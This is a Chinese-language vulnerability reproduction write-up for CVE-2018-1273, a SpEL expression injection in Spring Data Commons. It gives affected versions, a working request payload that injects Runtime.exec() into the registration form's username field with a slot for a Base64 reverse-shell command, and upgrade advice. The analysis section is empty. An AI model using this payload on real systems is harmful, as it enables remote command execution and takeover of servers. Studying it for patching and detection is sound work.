CVE-2018-1273(Spring Data Commons 远程命令执行)
1. 漏洞描述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
2. 影响版本
Spring Data Commons 1.13 to 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 to 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 to 3.0.5 (Kay SR5)
更老版本也受影响
3. 漏洞复现
3.1 查看注册页
访问http://ip:8080/users
即可看到一个注册页面
3.2 修改恶意Payload
在注册的时候抓包,将数据包改成恶意代码用于被反序列化执行。
1 | username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("{URL转换的Base64编码后的反弹Shell代码位置}")]=&password=&repeatedPassword= |
原数据包:
修改后数据包:
3.3 结果
4. 漏洞分析
…
5. 修复建议
本次漏洞问题出现在 Spring Data Commons中。该漏洞是由前端参数传入后台,后台框架使用SpEL表达式处理未校验的恶意字符串所引起的,因此建议采取IP白名单对IP进行限制,或者升级框架到最新版本。
将Spring Data Commons框架的版本由2.0.x升级到2.0.6,1.13.x的用户升级到1.13.11。